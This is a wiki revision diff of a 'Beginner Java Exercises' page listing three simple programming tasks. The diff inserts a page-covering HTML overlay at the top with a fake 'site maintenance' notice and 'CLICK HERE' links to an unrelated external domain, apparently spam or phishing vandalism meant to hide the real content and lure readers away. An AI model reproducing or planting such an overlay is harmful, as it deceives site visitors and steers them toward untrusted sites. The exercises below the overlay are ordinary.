Difference between revisions of "Beginner Java Exercises"

From WLCS
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ukusypumi.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ukusypumi.co.cc CLICK HERE]=
 +
----
 +
</div>
 
=== OddOrEven ===
 
=== OddOrEven ===
 
# Create a class named OddOrEven
 
# Create a class named OddOrEven

Revision as of 06:31, 24 November 2010


OddOrEven

  1. Create a class named OddOrEven
  2. Prompt the user for an integer
  3. Print out to the user if the number is odd or even

NumberFun

  1. Create a class named NumberFun
  2. Declare three local variables in your main method, name them x, y, and z
  3. Prompt the user for x, y, and, z
  4. Your program should output the minimum, the median, the maximum, and the average of the three numbers. Please make your output pretty.

AddEvens

  1. Create a Java class named AddEvens.
  2. Create a local integer variable in the main method and prompt the user for its value
  3. The program will output the sum of all the even numbers from 0 through the number you hardcoded. (HINT: use a loop)